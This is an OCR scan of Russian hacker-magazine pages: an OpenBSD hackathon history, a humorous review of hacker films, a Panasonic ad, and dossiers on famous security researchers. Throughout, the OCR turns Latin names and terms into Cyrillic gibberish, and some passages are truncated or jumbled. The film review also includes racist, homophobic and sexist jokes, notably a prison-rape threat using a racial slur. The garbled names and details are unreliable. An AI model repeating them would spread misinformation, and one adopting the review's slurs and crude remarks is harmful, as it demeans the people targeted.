тогда - один из ключевых разработчиков ІМеІВЗО, решил делать 
свою ОС с упором на безопасность и криптографические систе- 
мы. Так как Тео - канадец, в своем проекте, получившем назва- 
ние ОрепВЗО, он вполне легально мог юзать сильную криптог- 
рафию и распространять продукт по всему миру, не опасаясь 
американского закона о вывозе стойких криптографических 
средств за пределы США. Первый релиз ОрепВЗО на СО вер- 
сии 2. 1 вышел в 1 995 году. А 1 мая 2004 г. появилась 3.5 версия 
этой ОС. 




на ІВС, обсуждению кусков кода на форумах, 
а теперь представилась возможность нако- 
нец увидеть друг друга. 

В том году ОрепВЗО взяло под свое фи- 
нансовое крыло американское военно-иссле- 
довательское агентство ОАВРА, заинтересо- 
ванное в развитии безопасных ОС. У ребят 
появились деньги, и вся дорога разработчи- 
кам оплачивалась из счета проекта. Это пос- 
пособствовало тому, что вечно занятые хаке- 
ры оторвали свои задницы от стульев и отп- 
равились повидать единомышленников. 

Тео де Раадт в свободное время увлекается 
домашним пивоварением. Надо ли говорить, 
что во время совместных тусовок В50-хакеры 
пишут свой сумасшедший код под его стряп- 

• Большой холл просторной ГОСТИНИЦЫ. • 
Столы завалены кабелями, клавиатурами, 
мониторами и лаптопами. т 



РМІ8. ІРРИТЕК 

С начала ОрепВЗО использовала общедоступный ІРРіІІег в ка- 
честве штатного файрвола. Но в 2001 году Оаггеп Вееб, раз- 
работчик ІРРіІІег, изменил лицензию своего продукта. Теперь 
она не позволяла включать этот файрвол в дистрибутив 
ОрепВЗО с изменениями в исходных кодах. Это не смутило раз- 
работчиков, которые в духе хакерских традиций сели и написал 
свой файрвол, назвав его РР (Раскеі РіІІег). Теперь, спустя три 
года, РР является лучшим из свободно распространяемых па- 
кетных фильтров, уделывая ІРРіІІег по всем параметрам. 





ню. Правда сам он свое пиво не пьет, предпо- 
читая слабоалкоголки в алюминиевых банках ;). 



Л 2002 ГОД. КРПГРРИ. ИЮНЬ 

Большой холл просторной гостиницы. Столы 
завалены кабелями, клавиатурами, монито- 
рами и лаптопами. Повсюду пачки чипсов, 
пепельницы и бутылки колы. Для хакеров 
создана поистине домашняя обстановка, все 
для того, чтобы они не отвлекались и рабо- 
тали. 42 разработчика, составляющих костяк 
команды ОрепВЗО, прибыли в Канаду со 
всех концов света. "ЗІіиІ ир апб баск!" - ло- 
зунг этого хакатона, в этом году разработчи- 
ки трудились как никогда. В конце 2001 года 
вышла ОрепВЗО 3.0, несущая в себе множе- 
ство изменений, начиная с появления 
собственного пакетного фильтра и заканчи- 
вая значительными улучшениями в орепззб. 
Все это нужно было приводить в божеский 
вид в предстоящем релизе 3.1 . с2к2 
ІіаскаІІюп стал самым напряженным за всю 
историю. Пива и лимонада было выпито 
больше, чем когда-либо, а количество выку- 
ренных сигарет превысило все допустимые 
нормы. Рабочий стресс снимался в течение 
пары дней в пригороде Калгари, но и там ха- 
керы не упускали возможности уединиться с 
ноутбуком и продолжить программирование. 
2002 год стал пиковым для хакатонов. Тусов- 
ка приобрела размах, и следующая встреча 
обещала стать еще больше. Но все сложи- 
лось не так, как могло быть. 



Л 2003 ГОД. КППГПРИ. 9-2 1 ИПЯ 

Как и многие подобные организации, ОрепВЗО 
- некоммерческий проект, существующий на 
энтузиазме, продаже футболок с дисками и 
поддержке участвующих в нем хакеров. В 2003 
году ОАВРА перечислила на имя главного раз- 
работчика Тео де Раадта очередной грант в 
два миллиона американских долларов. Часть 
этих денег должна была пойти на аренду гос- 




т\ 








тиницы для хакеров, закупку оборудования и 
продуктов. На носу был релиз 3.3, несущий 
фундаментальные изменения в формате ис- 
полняемых файлов ОрепВЗО и множественные 
изменения в компиляторе дсс для этой опера- 
ционки, включая защиту от переполнения бу- 
фера, исполнение кода в стеке и другие вкус- 
ные фичи. Де Раадт и несколько других веду- 
щих разработчиков получили возможность ра- 
ботать над любимой осью 24 часа в сутки. Те- 
перь их труд полностью оплачивала ОАВРА. 
Будущее выглядело радостным и безоблач- 
ным, но длилось это недолго. Примерно в то 
же время началась война в Ираке, и острый на 
язык де Раадт обвинил в канадской прессе 
американское правительство в том, что оно 
попросту хочет захватить иракскую нефть. 
Смелость вышла ему боком - ОАВРА, как дале- 
ко не самая последняя структура в правитель- 
стве США, восприняла это заявление как лич- 




ное оскорбление и поспешила отозвать двух- 
миллионный грант. Предстоящий баскаібоп 
оказался под угрозой срыва - расселить гостей 
оказалось не на что, нечем было оплатить би- 
леты. К счастью, комьюнити решило не бро- 
сать организаторов в беде и скинулось всем 
скопом. Благодаря этому удалось собрать дос- 
таточно денег, и баскаібоп прошел как обычно. 

Два конференц-зала отеля Нуай Ведепсу 
Саідагу превратились в программерский 
штаб, где 63 разработчика ОрепВЗО сутками 
строчили код, обсуждая вносимые измене- 
ния. Под конец все дружно перешли к не- 
формальной части встречи, которая прошла 
в доме де Раадта под традиционное, сварен- 
ное лично хозяином пиво. 

А 2004 год. СЕЧЕПТ. 

24-27 о№ЕПЯ 

В этом году ОрепВЗО баскаібоп прохо- 
дил под названием РР баскаібоп, и это не 
случайно. В преддверии релиза 3.5, раз- 
работчики уделили повышенное внимание 



своему второму по важности (после 
ОрепЗЗН) проекту - пакетному фильтру 
РР. Но если ОрепЗЗН за несколько лет 
был до блеска вылизан благодаря всесто- 
роннему аудиту его кода, то РР, вырос- 
ший из ІРРібег, лишь за последний год 
приобрел фишки, выделяющие его на фо- 
не остальных файрволов. 

Впервые хакеры решили не отсиживать 
свои нижние полушария мозга перед мони- 
торами, а выбраться на природу, половить 
рыбку, поиграть в бадминтон. Так, в чередо- 
вании игр с рыбалкой и хардкорным прог- 
раммированием, прошел Наскаібоп 2К4. 

Теперь ты знаешь, что тусовки хакеров - 
это не только встречи хакерских групп и 
зесигііу-экспертов. Участники ВЗО-тусовок - 
как правило, серьезные мужики лет за 30. 
Ведь дилетантам без опыта не доверят раз- 
рабатывать лучшую сетевую ОС. Но и такие 
матерые девелоперы, проводящие почти все 
время у компа, любят периодически встре- 
титься и оттянуться вместе. 



В этом году ОрепВЗО Ііаскаіііоп 
проходил под названием РР 
Ііаскаіііоп, и это не случайно. 
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усть твой дедушка смотрит фильмы про войну и проклятых немцев. Пусть бабушка смакует попуторатысячную серию Санта- 
Барбары, где Иден снова ушла от Круза, а Джину забрали инопланетяне. Пусть папик не отрывается от любимого футбола, заполняя 
брюхо пивом. Пусть маман готовит оладьи на кухне, поглядывая на экран с последними новостями. Пусть сестра продолжает 
фанатеть от "Секса в большом городе", а братец пускает слюни на клипы Бритни Спирс. Мы же будем смотреть настоящее кино. Фильмы 
про хакеров. 



ОБЗОР ФИЛЬМОВ ПРО КОКЕРОВ 



^ ТРОН (ТВОЮ 





Старый-престарый фильм еще тех вре- 
мен, когда моя бабушка была молодой, а я 
писал и гадил на ковры. В то время когда он 
вышел, его многие не поняли. Считалось, 
что Тгоп - фильм для тех, о ком он рассказы- 
вает. Для ранних программистов-энтузиас- 
тов, предпочитающих проводить все свое 
время у компа. Слишком запутанным был 
сюжет и слишком смутной его интерпрета- 
ция, чтобы его могла воспринять обычная 
аудитория. Картина рассказывает о програм- 
мисте по имени Кевин Флинн, которого по 
непонятным причинам уволили из крупной 
компании Епсот после создания им револю- 



ционной игры. Дураку понятно - большой 
босс решил избавиться от Кева, дабы завла- 
деть перспективным проектом и присвоить 
все лавры себе. Но Флинн ведь не только 
программер, но еще и хакер. И давать себя 
в обиду не собирался. С целью найти комп- 
ромат на своего начальника Эда Дилинджера 
он с помощью двух других сотрудников 
Епсот пробирается в систему. И тут сраба- 
тывает защитная система Тгоп со встроен- 
ным искусственным интеллектом, которая 
телепортирует парня в киберпространство. 
Теперь Кевину предстоит новая задача - 
выбраться из этой катавасии живым. 



ПОСМОТРИ это 

л Настоящий гений (ПеаІ Ѳепіиз) 
л Нирвана (Ыігѵапа) 
л Матрица (Маітіх) 
а Антимонополия (АпТітопороІу) 
л Призрак в доспехах (аниме) ((ЗТюзТ іп Дте ЗТіеІІз) 
а Пароль "Рыба-меч" (ЗѵѵогсІТізИ) 
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ХОКЕРСКИЙ ГОЛЛИВУД 



Звучит бредово, но на экране все еще бре- 
довее. В фильме постоянно перемешиваются 
обычная съемка, мультипликация и компью- 
терная графика. Кстати, "Трон", похоже, стал 
первым фильмом, снятым с ее применением. 

В 1 982 г. как раз начался бум движения 
киберпанка, и фильм Лисбергера бурно об- 
суждался среди последователей Гибсона. Но 
дискуссии носили скорее спорный, чем хва- 
лебный характер. 

Несмотря на то, что "Трон" стал пионером 
среди фильмов о хакерах, очень скоро его 
затмили более продуманные и зрелищные 
"Военные игры". 

А ВОЕННЫЕ ИГРЫ (ІИРКСРМЕ8) 




Дэвид Лайтмэн - компьютерный гений. Он 
знает ІІпіх, классно играет в видеоигры и даже 
умеет исправлять свои оценки в колледже че- 
рез школьную сеть. А еще у него есть подруга, 
так что он не совсем компьютерный задрот. 
Однажды старина Дэвид шлялся по сетевым 
просторам и совершенно случайно наткнулся 
на систему ѴѴОВР, управляющую центром 
ядерных ракет МОВАО. Что это за хрень, па- 
рень сразу не сообразил и подумал, что про- 
ник в систему компании-разработчика компь- 
ютерных игр! На самом деле сервак предназ- 
начался для симуляции возможных действий в 
результате начала ядерной войны. И естест- 
венно, когда парень увидел на экране: "Начать 
термоядерную войну?", тут же вдавил в педаль 
с надписью: "Дык!". Примерно в это же время 
где-то в Пентагоне у нескольких дядей-генера- 
лов случились сердечные приступы при виде 
надписи "ѴѴогІсІ ѴѴаг III зІагТесі". "Кто?", "Как?", 
"Опять эти русские?" - одна за другой проно- 
сились мысли в седых головах. "Я знаю! Это 
хакер", - ответил главный пентагонский секу- 
рити-эксперт и сел за телетайп. Кто победит - 
правительственный хакер или наш, домашний? 
Хрен я тебе скажу. Намекну только, что за ре- 
шеткой Дэвиду не понравилось. 

"Военные игры" стали в свое время настоя- 
щим откровением. Двадцать лет назад люди 
уже видели компьютеры на прилавках магази- 
нов, но мало кто знал, что на самом деле мож- 
но сделать с помощью 8-битной персоналки и 



модема. Джон Бэдхем не стал мелочиться и в 
своем фильме показал худший сценарий. 
Третья мировая война - ни больше ни меньше 
- вот что может произойти, если комп попадет 
в руки хакера. 

Несмотря на то, что Дэвид чуть не уничто- 
жил полчеловечества, по фильму он герой по- 
ложительный и где-то даже жертва. Ну что по- 
делать, ошибся парень, с кем не бывает? А вот 
Пентагон облажался по полной. Если молодые, 
технически подкованные ребята через фильм 
открыли для себя возможности компьютерных 
сетей, простая публика узрела, как могущест- 
венный Большой Брат может оказаться беспо- 
мощным перед любым школьником. 

Несмотря на кажущуюся наивность, сцена- 
рий "Военных игр" был тщательно продуман, 
для консультаций режиссер пригласил пару 
известных экспертов. Долгое время ходили 
слухи, что события в фильме срисованы с по- 
хождений небезызвестного Кевина Митника, 
однако сплетни публично опровергли как ре- 
жиссер, так и сам Кевин. 

Фильм не просто стал культовым в опреде- 
ленных кругах. Он по-своему повлиял на даль- 
нейшее развитие компьютерной индустрии. 
Ведь после его выхода на большой экран ко- 
личество ребят, желающих повторить подвиги 
Дэвида, резко возросло. И кто знает, каким 
был бы компьютерный андеграунд сейчас, ес- 
ли бы "Военные игры" не вдохновили в свое 
время "старое" поколение. 

А НЕВИЦИИКИ (ЗНЕПКЕКЗ) 




Мартин и Козмо были корешами с самого 
детства. Вместе воровали помидоры на со- 
седских грядках, вместе били стекла в шко- 
ле, бухали вместе. А еще они вместе ломали 
компьютерные системы, так как считали се- 
бя неуловимыми хацкерами. Взломав осо- 
бенно запретную систему, парни решили 
отпраздновать успех вкусной пиццей. Мар- 
тин побежал в булочную, а Козмо остался на 
шухере. За этим занятием его и застали вло- 
мившиеся в дверь агенты ФБР. Мартин ре- 
шил, что дружба дружбой, а своя шкура цен- 
ней, и пустился в бега. Со временем он сме- 



нил фамилию и организовал команду таких 
же безбашенных компьютерщиков, вместе с 
которыми занялся зесигііу-бизнесом. Чуваки 
они все были серьезные, слава росла, и од- 
нажды к ним за помощью обратились ребята 
из Национального Агентства Безопасности. 
Большой Брат заявил, что знает о темном 
прошлом Мартина, и если тот им не помо- 
жет, ждет его небо в клеточку и фуфайка в 
полосочку. Агенты сообщили, что им нужен 
какой-то черный ящик, владельцем которого 
является известный математик. На хрена им 
сдался этот кусок металла, почему он был 
столь важен (а судя по всему, ящику цены не 
было), и самое главное, как его вымутить у 
старого пердуна - поиском ответов на эти 
вопросы команда Мартина занимается до 
конца фильма. А в конце прибавится еще 
один - являются ли правительственные за- 
казчики теми, за кого себя выдают. 

Меня позабавило, что в качестве членов 
бригады Мартина Бишопа воспроизведены 
реальные известные личности. Например, 
ник слепого тех. специалиста по имени Эрвин 
Эмори - ШізІІег, что явно указывает на леген- 
дарного незрячего фрикера ѵФе Фе ШізІІег'а. 
Хакер МоФег, который в фильме вечно испы- 
тывает приступы паранойи, тоже был известен 
в хакерских кругах начала 80-х. Подозреваю, 
что и остальные герои с кого-то срисованы. 

В фильме хорошо продемонстрированы 
техники социальной инженерии. Да и сам 
сюжет на удивление ровный. Картина хоро- 
шо была воспринята критиками и получила 
высокие баллы в разных кинорейтингах. Да 
что греха таить, мне тоже очень понрави- 
лась. Так что цепляю ей ярлычок "Выбор ре- 
дакции", а тебе остается только найти СЭ. 

Линкеры (нйскек8] 




Дейду Мерфи всего 1 1 лет. Совсем юнец, 
сосать бы карамельки да играть в войнушку 
с дворовой шпаной. А нет, все туда же. 
Одиннадцатилетний Дейд - матерый хакер 
Хе го СооІ, написавший виря, который зава- 
лил 1 507 компьютерных систем за один 
день. Парня поймали, притащили в зал суда 
и сказали, что если до 1 8 лет он хоть паль- 
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цем притронется к клавиатуре, будет сидеть 
без хлеба и воды в камере с самым здоровым 
негром, арестованным за гомосексуально-пе- 
дофильные пристрастия. 

Прошло 7 лет... 

Дейд с матерью переехал на ПМЖ в Нью- 
Йорк и сразу же взялся за старое под ником 
Сгазб Оѵеггісіе. Здесь хакер познакомился с 
такими же фриками, как он сам, а также с 
сексапильной хакершей АсісІ Вигп, на которую 
сразу запал. Некоторое время ребята дурачи- 
лись, организовывая хакерские дуэли, но по- 
том им пришлось столкнуться с настоящей 
проблемой. Имя которой было РІадие. Так на- 
зывал себя штатный секурити-эксперт круп- 
ной комповой компании, который на самом 
деле оказался мрачным блэкхэтом. Злодей 
соорудил хитрого червя, способного принести 
ему полмиллиарда баксов, а всю вину Чума 
решил взвалить на наших хакеров. Но ребята 
тоже не лыком шиты. Чего стоит только негр 
Лорд Найкон. 

Многие обвиняют "Хакеров" в несерьезнос- 
ти. Да, есть там моменты, когда на экране, 
как самолеты, летают пакеты в лабиринтах 
трехмерных протоколов. Но суть ведь не в ла- 
биринтах. Режиссер поставил задачу показать 
тусовку американских подростков-хакеров и 
вполне успешно с ней справился. Здесь есть 
и социальная инженерия, и блубоксы, и про- 
тиводействие Секретной Службе, и хакерское 
радио, и посиделки на хак-хате... да много че- 
го еще, о чем могли рассказать представите- 
ли реального андеграунда тех времен. Кстати, 
многие из них действительно принимали учас- 
тие в создании фильма. Например, Эмману- 
эль Голдстейн - известнейший фрикер 80-х, 
автор журнала "2600". 

Я не буду переубеждать тех, кто считает 
"Хакеров" попсовым дерьмом. Такие люди и 
мою любимую Санта-Барбару с нечистотами 
смешать готовы :). Но лично я думаю, что 
фильма, дающего более полную картину хаке- 
рского сообщества, нет. Фильм стоит посмот- 
реть хотя бы ради Анжелины Джоли, которая 
со своими губами просто душка. 

А СЕТЫТНЕ НЕТ) 




Анжела Бэннет - типичная фричка, кото- 
рая не мыслит своей жизни без компьютера. 
Она общается через компьютер, заказывает 
пиццу через компьютер, еще чуть-чуть, и че- 
рез компьютер справлять нужду начнет. Но 
девичье сердце требует романтики, моря, 
сильного мужика, в конце концов! Вместо 
этого ей подсовывают всякие дискеты на 
проверку. Именно так к ней и попал флопик, 
на котором оказалась супертулза для взлома 
сетей. Все просто - клацаешь мышкой на 
иконке в углу, бац - и ты уже внутри. Чудо? 
Да. Но опасное чудо. Ведь такие программы 
от не фиг делать не пишут. Их пишут явно 
злые люди с корыстной целью. И Анжела 
встала у них на пути. 

Еще не подозревая, в какую историю она 
вляпалась, девушка отправляется в отпуск на 
море. И там, как водится, встречает ЕГО. 
Мускулы, легкая небритость, бронзовый за- 
гар, впечатляющий бугорок в районе паха - 
все при нем. "Вот он, принц!" - догадалась 
Анжела, но, как оказалось впоследствии, ра- 
но трусики сняла. 

После романтического вечера на берегу 
мисс Бэннет лишилась денег, документов, 
квартиры и даже имени. Я бы уже прыгал с 
Эйфелевой башни, но хакерша сдаваться так 
просто не собиралась. Несмотря на то, что 
враги знали о ней все и постоянно опережа- 
ли на шаг. Анжела пошла по следу и в конце 
концов разделалась с негодяями, не без по- 
мощи своих кентов-хакеров. А может, и нет, 
может, ее пристрелили тремя пулями в за- 
тылок на остановке у здания банка "Метро- 
полис". Этого я тебе не скажу, а то будет не- 
интересно. 

Один раз героиня Сандры Баллок произно- 
сит фразу, которая является идеей всего филь- 
ма: "Через интернет можно узнать все о каж- 
дом и при желании сильно подпортить жизнь". 

Помимо художественного фильма, суще- 
ствует также сериал с одноименным назва- 
нием. Главную роль там играет грудастая 
смазливая девица, ну никак не похожая на 
хакершу. Вот Сандра - она да, типичная 
фричка с мешками под глазами. А той в 
Плейбое сниматься надо, а не кодить сорцы 
в уме. Сериал далек от сюжета своего "од- 
нофамильца" и похож на все остальные аме- 
риканские сериалы, предназначенные для 
американской попкорновой аудитории. 
Смотреть его или нет - тебе решать, но ху- 
дожественный фильм посмотри обязательно. 

А ВЗПОИ (ТПКЕ001МН) 




В мартовском номере ][ я рассказывал о 
книге Цутому Шимомуры и Джона Маркофа 
"Такебоѵѵп". Ребята решили срубить немного 
бабла на нашумевшей истории с поимкой 
Кевина Митника. Судя по всему, книга про- 
давалась неважно, так как Цутому решил 
сделать на эту тему еще и фильм. Идея ре- 
жиссеру Джо Чепплу понравилась, и в 2000 
году появился этот киношедевр, который по- 
зиционируется как "Хакеры 2". 

Когда чуть позже вышел из тюрьмы глав- 
ный герой фильма Кевин Митник и увидел на 
экране "себя", у него волосы зашевелились. 




ТАКЕСІСІѴѴМ 

№ ^ « * . 1 ІИ ^ И М ■ 



Не то, чтобы его там полным уродом изобра- 
зили, но сюжет фильма базируется на произ- 
ведении Шимомуры, а о правдивости этого 
творения я уже говорил в мартовском ][. 

Если не вдаваться в подробности, где, 
кто, сколько переврал, то фильм получился 
нормальный. Мне даже местами понравился. 
Эдакая биографическая история помешанно- 
го на компах парня, который даже в присут- 
ствии девушки, кроме как о компьютерах, ни 
о чем трындеть не может. Хотя сам по себе 
герой Улрика на фрика явно не похож. Одна 
девочка, помню, сказала на ІВС: "Я б такому 
отдалась не глядя" :). Немного непонятно 
мне, почему столько времени уделили боро- 
датому другу Митника, которого на самом 
деле вообще не было. Помимо скитаний Ке- 
вина, показывается счастливая личная жизнь 
Цутому, обрученного с блондинистой теткой. 
И так у них все хорошо, так хорошо, что я ед- 
ва не плакал от счастья. Приколол толстый 
сотрудник ВеІІ - нелюдимый фрик, который 
за обещание "порыбачить вместе" согласил- 
ся оказать коллегам любые услуги. А плакат о 
поимке Митника с переделанной физиономи- 
ей Улрика добил. Если мне не изменяет па- 
мять, там еще был какой-то хакер, который 
отдал федералам сканер для поимки Кевина 
со словами: "Только ему не говорите. Не хочу 
иметь такого врага, как Кевин Митник" :). 

Закончилось все драматическим Рііу- 
ЕпсГом. Кева, не без помощи Шимомуры, 
выследили и арестовали посреди увлека- 
тельного чата с сетевым корешем. Впечатли- 
ла в конце фильма встреча двух врагов ли- 
цом к лицу в тюремном месте свиданий. 
"Скажи мне, Цутому, почему я здесь, а ты 
там? Чем ты лучше меня?" "А вот не фиг мой 
боевой софт тырить", - в таком духе ответил 
зесигііу-гуру, и Митнику оставалось только 
сказать: "Риск уои, аззбоіе". 

Но ничего, Шимомуре тоже досталось. У 
него в последней сцене банкомат сжевал все 
средства на кредитке, а яркая надпись на эк- 
ране гласила: "Ргее Кеѵіп". 

Помимо фильмов, полностью посвященных 
хакерам, есть куча таких, где хакерство упо- 
минается, но не является основной темой. Я 
лишь перечислю названия (смотри врезку), а 
смотреть их или нет - решай сам. ТГ~ 
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ТОВАР СЕРТИФИЦИРОВАН 




Рапазопіс 

ісіеаз : ог Іііе 



- 1 * 



ТВОЯ ИСТОРИЯ 



Рапазопіс создает новые ценности 
для обогащения жизни людей 
и прогресса общества 



ѵѵѵѵѵѵ. рапазопіс. ги 




начала я хотел сделать рейтинг десяти самых авторитетных хакеров и зесигііу-экспертов в мире. Я собрал кучу претендентов и 
I У попытался разместить их в рейтинговом порядке. Но, провозившись с час, я так и не придумал, кто круче, Сопар Дизайнер или Дат 
1^1 Сонг, План Кох или Виц Венема. 

Несмотря на то, что я плюнул на затею сформировать "горячую десятку", мне по-прежнему хотелось рассказать тебе о лучших из лучших. 
О тех хакерах, которые не дефейсят сайты, а пишут патчи для ядра ВС и знают о сетях и осях больше, чем их создатели. Поэтому я порылся 
в инете, почитал интервью и форумы, и собрал коллекцию досье таких людей. Результат моей работы перед тобой. 



ДОСЬЕ НО самых ПВТОРИТЕТНЫХ ЛЮДЕЙ 8ЕС0ПІТѴ-С00БЩЕСТВП 



А 801ПК 0Е8ІСИЕК 




дин из самых авторитетных рос- 
сийских специалистов в области 
сетевой безопасности. Автор ѵіобп 
Ібе Віррег. Отец проекта ОрепѵѵаІІ 
(ѵш.орепѵгаІІ.сот), ведущий разра- 
ботчик ОрепѵѵаІІ ОМіуібпих - опе- 
рационной системы с большой 
степенью защищенности. 




^ 0Ц6 80ИС 

Известный зесигііу-эксперт, автор утилиты 
РгадгоипГег и проекта топкеу.огд. Один из раз- 
работчиков ОрепЗЗН. Активный участник 
проекта ОрепѵѵаІІ. 



А <ІПИЕ$ 8ІНР8ІМ 

Эксперт по ѴѴіп и *піх-системам, програм- 
мист. Работает в зесигііу-компании АгЬог 
№Іѵѵогкз Іпс, где занимается разработкой, 
тестированием и внедрением средств сете- 
вой защиты. 




,ііпш$ріт2№п 

В прошлом офицер американской армии, те- 
перь - один из самых известных в мире ис- 
следователей компьютерной безопасности. 
Автор книги "НопеуроГз: Тгаскіпд Наскегз" и 
многих зесигііу-статей, включая цикл "Кпоѵѵ 
Уоиг Епету". Отец Іійр://ргоіесІ.Ііопеупе1.огд. 
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ПИЦП ХПКСЦЕНЫ 




4ТНЕ00ЕКШШТ 

Кернел-хакер, один из основателей №Ш50, 
разработчик ОрепЗЗН и отец проекта 
ОрепВЗЭ. Занимается портированием ник- 
совых систем на экзотические машины 
(Моіогоіа т68к ѴМЕ Ьохез, Асег РІСА 61 
Р4400/1 50). 




40ЛНВЕШТЕШ 

Профессор математики, работающий на фа- 
культете компьютерных наук в Университете 
Иллинойс. Автор зесигііу-демонов дтаіі и 
фпбз, а также популярного мануала по 
5МТР. Один из самых авторитетных криптог- 
рафов, отец (ійр://сг.ур.Іо. 




А РНИ 2ІИИЕВН0НН 

Автор РСР - самого популярного пакета 
шифровки етаіі-сообщений. Член 
Іпіегпаііопаі Аззосіаііоп оі Сгуріоіодіс 
Везеагсб, Аззосіаііоп Іог Сотриііпд МасИіпегу 
и Іеадие іог Ргодгаттіпд Ргеебот. Работает 
консультантом по части криптографии для 
разных компаний, включая РОР Согрогаііоп. 




Принимает участие во многих криптографи- 
ческих проектах. 



А ВКІІСЕ ЗСННЕІЕК 

Эксперт по криптографии, основатель и гла- 
ва компании Соипіеграпе Іпіегпеі Зесигііу 
(шшипіеграпе.сот). Автор алгоритмов шиф- 
рования Віоѵѵіізб и Тѵѵоіізіі. Написал 6 книг, 
включая "Прикладную криптографию" - биб- 
лию криптографов. Ведущий популярной 
рассылки Сгуріо-Сгат (иш.соипіеграпе.сот/сгур- 
Іо-дгат.МтІ). 




^ РЕІТЕВ 2ЙТК0 ПНП 0В. НЦОСЕ 

Один из основателей Юрбі Неаѵу Іпбизігіез, 
после переименования компании - вице- 
президент @51аке. Автор программы 
ЮрбіСгаск. 




А ІПН СОЮВЕКб 

Основатель Іпіегпеі Зесигііу, Арріісаііопз, 
Аиібепіісаііоп апсі Сгуріодгаріту Огоир в Уни- 
верситете Беркли. Известен взломами нес- 
кольких криптографических ключей: В5А 
Оаіа Зесигііу, №1зсаре 55І_ и криптостандар- 
та С5М. Ведущий ученый в зесигііу-компа- 
нии 2его-КпоѵѵІесІде Зузіетз. 




А ВЕМП1ІР РЕВПІ80М 

Автор №ззиз - популярного сканера уязви- 
мостей, завоевавшего несколько престижных 
наград. Некоторое время работал на ЗоІЗоЙ, 
затем перешел в ТИЗ на позицию директора 
Зесигііу-исследований. Владеет собственной 
компанией №ззиз СопзиІІіпд 5.А.В1., пре- 




доставляющей консультации по компьютер- 
ной безопасности. 

^ОЯІІОиТСНЕІЕШ 

Основатель и директор компании №х1 
Оепегаііоп Зесигііу ЗоЙѵѵаге. Зесигііу-эксперт 
с мировым именем, специализируется на 
ѴѴіп N1 и компьютерной безопасности. Обна- 
ружил уязвимости в более чем 1 00 продук- 
тах Місгозой, Огасіе и других компаний. Ав- 
тор одного из самых популярных сканеров 
уязвимостей Сегбегиз' Іпіегпеі Зсаппег и 
нескольких других зесигііу-утилит. Написал 
множество технических документаций и из- 
вестную книгу "Наскіпд ЕхрозесГ. 




А НРИРН ЕЕПКЕ 

Мастер реверс инжиниринга. Начинал как 
исследователь защит от копирования, со 
временем углубился в сетевую безопас- 
ность. Большую часть времени проводит за 
дизассемблером и проведением тестов на 
проникновение. Автор нескольких известных 
эксплойтов. Недавно присоединился к Віаск 
Наі Вгіеііпдз, работая там ведущим реверс 
инженером. 




^ееіпзіеііѵпкяпіерні 

С 1996 г. бессменный модератор самой по- 
пулярной зесигііу-рассылки Видігад. Автор 
нашумевшей статьи "Зтазбіпд Ібе Зіаск іог 
Еип апсі Ргоііі". Сайтом Иеіѵѵогк Сотриііпд 









терной безопасности в Зііісоп СгарЫсз и 5ип 
Місгозузіетз, сейчас работает в компании 
ЕагіШпк. 




А иниз токипшз 

Отец ОС І_іпих. С 1997 по 2003 - один из 
разработчиков процессоров компании 
Тгапзтеіа. Сейчас возглавляет группу подде- 
ржки І_іпих в Ореп Зоигсе Оеѵеіоргпепі ІаЬ. 
Автор биографической книги: Тизііог Рип: 
ТІіе Зіогу оі ап Ассісіепіаі Веѵоіиііопагу". 




.іинкшкняям 

Глава компании Иеіѵѵогк Ріідбі Ресогсіег, за- 
нимающейся разработкой систем обнаруже- 
ния сетевых атак. В 1990 г. написал первый 
свой файрвол, с тех пор специализируется 
на компьютерной безопасности. Разработчик 
таких продуктов, как: ТІ5 Іпіегпеі РігеѵѵаІІ 
Тооікіі, ТІ5 Саипііеі, ОЕС ЗЕЛЕ Автор лучше- 
го РАО по файрволам и соавтор книги "ѴѴеЬ 
Зііе Зесигііу ЗоигсеЬоок". 




меняю 8ТЯШШ 

Олдскул хакер, автор фриварной ОС СИІІ 
(СИІГз N01 ІІпіх). В 1985 г. основал Ргее 
Зойѵѵаге Роипбаііоп и с тех пор является са- 
мой яркой фигурой среди орепзоигее-дви- 
жения. Автор соруіей - концепции, отражаю- 
щей принципы РЗР. Также написал несколь- 
ко популярных утилит, включая текстовый 
редактор Етасз, компилятор ОСС, дебаггер 
СОВ. 



Талантливый программист, один из трех 
основателей МоВЕ (Мазіегз оі Веѵегзе 
Епдіпеегіпд) - программерского трио, выпус- 
тившего ОеСЗЗ. Эта утилита в свое время 
наделала много шуму, так как позволяла лег- 
ко обойти защиту любого ЭѴЭ на рынке. 
Сейчас работает над ѴЮ для РЮ1000 
(шѵгпапосгеѵгпеі/ѵіс/гоки/ѵіс.гоки.дг). 




А 8ТЕ1Е ВЕШНІЯ 

Сотрудник АТ&Т, большую часть времени за- 
нимается исследованиями в области сетевой 
безопасности. Разработчик ІІ5ЕМЕТ, соавтор 
книги "РігеѵѵаІІз апсі Іпіегпеі Зесигііу: 

ВереІІІпд Ібе ѴѴіІу Наскег". Написал огромное 
количество статей на тему іпіегпеі зесигііу. 
Сейчас работает в Іпіегпеі Епдіпеегіпд 
Зіеегіпд Сгоир (ІЕЗО), где занимает руково- 
дящую должность. 




А ООН ЕПНМЕК 

Всемирно известный зесигііу-консультант из 
Сан-Франциско. Автор утилит СОР5, нашу- 
мевшего ЗАТАИ, Тііап, ТСТ. Бывший сотруд- 
ник СЕВТ. Занимался обеспечением компью- 



А ШІЕТЗЕ НЕНЕМП 

По мнению многих, входит в тройку самых 
компетентных в мире зесигііу- экспертов. 
Вместе с Оап Рагтег принимал участие в на- 
писании ЗАТАИ. Автор ТСР ѴѴгаррегз (Ісрсі), 
мыльного сервера Розіііх и многих других 
широко известных зесигііу-утилит. Экс-пре- 
зидент РІВ5Т (Рогит оі Іпсісіепі Везропзе апб 
Зесигііу Театз) - международной ассоциа- 
ции зесигііу-команд. В 1 999 г. получил наг- 
раду от 5АСЕ (Зузіет Асітіпізігаіогз СиіІсІ) за 
выдающиеся заслуги в области компьютер- 
ной безопасности. Работает на ІВМ. 




А НПЯЯПІ 8СН1МПКТ2 

Олдскул хакер, первые эксперименты с ІІИІХ 
стал проводить еще в 1 977 г. Известен сво- 
им вкладом в сообщество РЕВЕпрограмме- 
ров. Написал несколько книг: Теагпіпд РегІ", 
Теагпіпд РегІ ОЬіесіз, Веіегепсез, апб 
Мобиіез", "Ргодгаттіпд РегІ" и Теагпіпд РегІ 
іог ѴѴіп32 Зузіетз", ряд утилит. Модератор 
основных конференций по РегГу, основатель 
канала #Рег1 на ЕРИеГе. В 1995 г., работая 
консультантом в корпорации Іпіеі, запустил 
переборщик паролей Сгаск. Эксперименты 
закончились судом, вызвавшим волну него- 
дования в Регі-комьюнити. В 1998 г. все об- 
винения с Рэндела были сняты, а в Сети по- 









ПИЦПШСЦЕНЫ 



